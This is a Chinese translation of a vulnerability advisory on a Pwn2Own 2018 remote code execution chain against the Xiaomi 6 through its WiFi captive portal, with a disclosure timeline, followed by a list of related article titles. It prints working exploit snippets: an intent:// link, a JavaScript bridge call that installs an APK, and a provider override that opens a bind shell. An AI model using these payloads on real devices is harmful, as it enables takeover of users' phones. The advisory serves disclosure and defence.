介绍

在2018年的Pwn2own上,F-Secure实验室演示了小米6在连接攻击者所控制的恶意WiFi热点后被攻陷。以下是具体步骤:

  1. 用户加入由攻击者控制的WiFi,手机会通过发送测试性的HTTP GET请求来检查WiFi是否有强制认证门户
  2. WiFi AP会做出200响应,并且在返回正文中插入恶意代码
  3. 手机会自动用HTML浏览器打开响应,也就是进入特定的URL
  4. 而在打开的特定域的恶意页面中,启用了一个危险的javascript bridge
  5. 这个bridge可从小米应用商店下载应用
  6. 最后利用Android组件中的某个漏洞自动启动恶意应用

技术细节

小米6(以及某些小米设备)与其他Android设备的不同之处在于,当在“高优先级”网络上检测到强制认证门户时,它会自动在一个HTML浏览器中打开,而不是提示用户。

攻击者可以通过创建一个恶意的WiFi AP来进行攻击。当受害者第一次加入网络时,他们可以直接访问网络,然后小米设备就会把这个网络设置为“高优先级”,因为它提供了“良好的”网络体验。然后攻击者重启WiFi AP,并将以下主机重定向到本地Web服务器:

connect.rom.miui.com

而本地Web服务对于手机发出的测试请求http://connect.rom.miui.com/generate_204肯定会返回200,并且返回的页面中还包含下一步的payload。此时,小米6会自动打开强制认证门户。

浏览器跳转

而在浏览器中打开强制认证门户包含一个WebView,它会加载generate_204请求的结果。这个WebView启用了javascript,可以通过自定义模式加载其他应用,其中包括“intent”模式。由于小米浏览器包含了一个BROWSABLE intent的http方案,因此下面的HTML可以用来加载浏览器:

<a id='foo' href="intent://testing.mi.com/thanks.html#Intent;package=com.android.browser;scheme=http;end">intent link to web</a>
<script>
function fooit(){document.getElementById('foo').click();
}
</script>

使用javascript bridge安装APK

小米浏览器中有一个在所有页面中都存在的javascript bridge,miui。它包含如下方法:

public abstract class a implements IMiuiApi {public class com.android.browser.js.a$a {

@javascriptInterface public void downloadAndInstallApk(String arg2, String arg3, String arg4) {this.a();ae.a(this.a, arg2, arg3, arg4);}

它调用了a方法去启动一个安装服务:

private void a(String arg4, String arg5) {Intent v0 = new Intent("com.xiaomi.market.service.AppDownloadInstallService");v0.setPackage(arg4);v0.putExtra("packageName", arg5);v0.putExtra("type", 2);v0.putExtra("ref", "browser_suggestbutton");this.W.startService(v0);

这个bridge的一个限制是,它只在URL以数组bf.a包含的字符串为结尾的页面上运行:

public class bf {private static final String[] a;private static Pattern b;
static {bf.a = new String[]{".mi.com", ".miui.com", ".xiaomi.com", ".duokan.com"};}

由于这是攻击者所控制的WiFi AP,所以很容易绕过,例如以下URL:

http://testing.mi.com/thanks.html

以上页面包含以下HTML:

<script>function dofoo(){ window.miui.downloadAndInstallApk("com.mwr.dz","com.mwr.dz"); }
</script>

当代码运行后,将连接到小米应用商店,下载特定的应用,假设为Drozer。

自动运行

2017年出现的针对三星S8手机的应用自启动漏洞其实不仅限于三星,还影响到所有Android设备。其中的Contacts provider组件(com.android.providers.Contacts)会检查每个新安装的应用程序,查看在AndroidManifest.xml文件中的元数据是否包含一个provider。

<meta-data android:name="android.content.ContactDirectory" android:value="true"/>

而在Drozer应用中的以下内容将触发这个缺陷:

<provider android:name="com.mwr.dz.MyContentProvider" android:authorities="dzprovider" android:enabled="true" android:exported="true"> <meta-data android:name="android.content.ContactDirectory" android:value="true"/>
</provider>

当检测到元数据时,会尝试使用onQuery方法对provider进行询问。而这个询问方法会被Drozer重写,变成一个打开绑定shell的命令。

public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) { Intent i = new Intent(); i.addCategory("com.mwr.dz.START_EMBEDDED"); i.setComponent(new ComponentName("com.mwr.dz", "com.mwr.dz.services.ServerService"));Context c = getContext(); c.startService(i);
}

最终打开的端口在31415。

时间线

2018-11-14:在Pwn2Own向ZDI报告了漏洞

2019-01-27:ZDI与厂商联系,请求交流

2019-02-06:ZDI再次联系厂商,要求更新漏洞流程

2019-02-06:厂商答复计划在二月底之前发布更新

2019-02-08:ZDI通知厂商,如果2月底前没有可用的安全补丁,则将结束整个漏洞流程

2019-03-04:厂商进行了答复,但未提供最终时间

2019-06-03:ZDI通知厂商打算结束整个漏洞流程

2019-11-22:F-Secure发布漏洞详情

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://labs.f-secure.com/advisories/xiaomi-wifi/

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场

来源:小米6 WiFi验证门户中的RCE漏洞

原文:https://labs.f-secure.com/advisories/xiaomi-wifi/

白帽汇从事信息安全,专注于安全大数据、企业威胁情报。

公司产品:FOFA-网络空间安全搜索引擎、FOEYE-网络空间检索系统、NOSEC-安全讯息平台。

为您提供:网络空间测绘、企业资产收集、企业威胁情报、应急响应服务。

小米商城html代码_小米6 WiFi验证门户中的RCE漏洞相关推荐

  1. 小米6 WiFi验证门户中的RCE漏洞

    介绍 在2018年的Pwn2own上,F-Secure实验室演示了小米6在连接攻击者所控制的恶意WiFi热点后被攻陷.以下是具体步骤: 用户加入由攻击者控制的WiFi,手机会通过发送测试性的HTTP ...

  2. html应用json 文件_安全研究 | Slack桌面应用程序的RCE漏洞+XSS漏洞

    对于Slack的桌面应用程序来说,一些应用内跳转.XSS.逻辑重定向和HTML或javascript注入bug,都有可能导致任意代码执行.这篇Writeup就讲述了作者通过构造HTML注入,绕过Sla ...

  3. x21能刷小米系统吗_小米系统是安卓系统中最强的吗?大家都错了,它是MIUI的进化版...

    小米系统是安卓系统中最强的吗?大家都错了,它是MIUI的进化版 现在国产手机做得越来越好了,在硬件方面国产手机比同级别的外国品牌要厚道太多了,所以在中国,外国品牌是没有任何生存空间的.在性价比方面他们 ...

  4. rmi反序列化导致rce漏洞修复_企业安全05-Fastjson =1.2.47反序列化RCE漏洞(CNVD-2019-22238)...

    Fastjson <=1.2.47反序列化RCE漏洞(CNVD-2019-22238) 一.漏洞描述 Fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 ...

  5. 小米商城抢购脚本_小米10系列MiCare保障服务上线:免费2次换屏 549元起

    今天,小米手机保障服务MiCare正式上线.MiCare服务内容包括两年2次碎屏免费修.官方延保1年.1年内保值换新等.据悉,MiCare保障服务有两项优势:优势一.若一年内使用保值换新,除在换新前享 ...

  6. 小米手机电池恢复代码_小米“米家电磁炉C1”评测:7挡火力,2100W大功率设计...

    小米科技旗下的"米家"品牌推出厨电类产品并不是什么新鲜的事情了,之前就推出过:米家电饭煲.米家电烤箱.米家微波炉等,几乎日常使用的厨电米家都有推出.最近,米家又推出了一款新品电磁炉 ...

  7. 小米商城html代码_微服务架构实战:商城的用户登录与账户切换设计、订单查询设计...

    商城的用户登录与账号切换设计 在移动商城的设计中,除商品和分类查询是完全开放权限的页面外,其他涉及个人隐私的个人信息.订单查询和购物车等都必须进行权限管理. 有关用户权限管理的功能,在这里根据移动设备 ...

  8. excel导入数据校验_从Excel数据验证列表中选择多个项目

    excel导入数据校验 You've probably used an Excel data validation drop down list, where you can click the ar ...

  9. python游戏结束显示分数代码_当游戏循环在Python中运行时,多线程来显示游戏分数?...

    我想根据比赛时间的推移得分.为此,我想让两个循环同时运行.游戏循环和得分循环,每1.5秒加1.当我运行程序时,分数不会出现.我是否正确使用多线程?这是最好的办法吗?为了简单起见,我只发布了相关代码.谢 ...

最新文章

  1. Java学习总结:41(文件操作类:File)
  2. live555的编译及使用
  3. linux中的pppoe拨号上网
  4. 从表到里学习JVM实现
  5. 在IIS6上部署WebService
  6. boost::movelib::unique_ptr相关用法的测试程序
  7. MySQL在Django框架下的基本操作(MySQL在Linux下配置)
  8. 音视频开发(36)---麦克风阵列声音定位解决方案
  9. 函数glDefinePopup(),动态定义多级的popup菜单
  10. javaScript引入方式
  11. websockets_将WebSockets与Node.js结合使用
  12. matlab 车牌汉字识别系统,基于MATLAB车牌自动识别系统设计毕业设计论文最新版...
  13. WIN10家庭版+ANSYS/AUTODYN安装学习
  14. 【python】py课上机作业3「谢尔宾斯基三角形」「递归输出列表」
  15. Struts2项目实战 微云盘(五):核心功能实现
  16. mysql及格率公式_关于mysql进行名次的排名和计算及格率的分享
  17. 让tp6显示错误信息及行号
  18. 抖音直播前需要准备什么,抖音直播带货详细流程步骤丨国仁网络资讯
  19. DBeaver 驱动安装
  20. wifi网络为什么总是断线 (by quqi99)

热门文章

  1. Android自定义View来实现解析lrc歌词同步滚动、上下拖动、缩放歌词等功能
  2. 成功实施SOA:从物理排列到化学反应
  3. WordPress有新评论时微信通知站长
  4. FFmpeg用于flv/QSV格式转换(速度接近拷贝)
  5. 推荐 :ChatGPT研究框架(80页PPT)
  6. ngnix有版本要求吗_魔兽世界:暴雪疯了?新版本老玩家遭重大削弱,这是逼人AFK?...
  7. C语言程序设计精髓第四周编程
  8. Android问题笔记 - AutoSize的Toast失效
  9. linux centos7 hadoop2.7.7HA集群搭建
  10. 2020年第十七届数模竞赛F题 飞行器质心平衡供油策略优化 建模【分享交流】